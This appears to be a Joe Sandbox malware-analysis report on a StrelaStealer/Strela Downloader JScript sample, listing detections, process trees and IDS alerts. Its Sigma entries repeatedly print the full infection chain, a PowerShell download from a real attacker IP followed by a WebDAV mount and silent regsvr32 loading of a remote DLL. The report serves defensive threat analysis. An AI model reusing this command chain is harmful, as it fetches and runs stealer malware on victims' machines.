Edit tour

Windows Analysis Report
71621480653828912.js

Overview

General Information

Sample name:	71621480653828912.js
Analysis ID:	1589004
MD5:	b05cb9a22196d49528fd99f345a46f44
SHA1:	36add1fcc77d9f50054c7a815f6b78d1064cf9c5
SHA256:	f796b97ba2c026242ff83686c9e9c211dda286e6d98464b7af6b677b6434c2a2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7716 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7804 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7848 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7344 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2944 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1636,i,1540070909370966968,831719191553835530,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8044 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8148 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7512 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7716	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ProcessId: 7716, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8148, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7804, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7804, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7804, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7804, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7804, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ProcessId: 7716, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7804, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8044, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8148, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7512, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8044, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8148, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\71621480653828912.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 7804, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:17:38.163917+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:17:40.797259+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:17:38.163917+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 71621480653828912.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 71621480653828912.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 71621480653828912.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:17:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

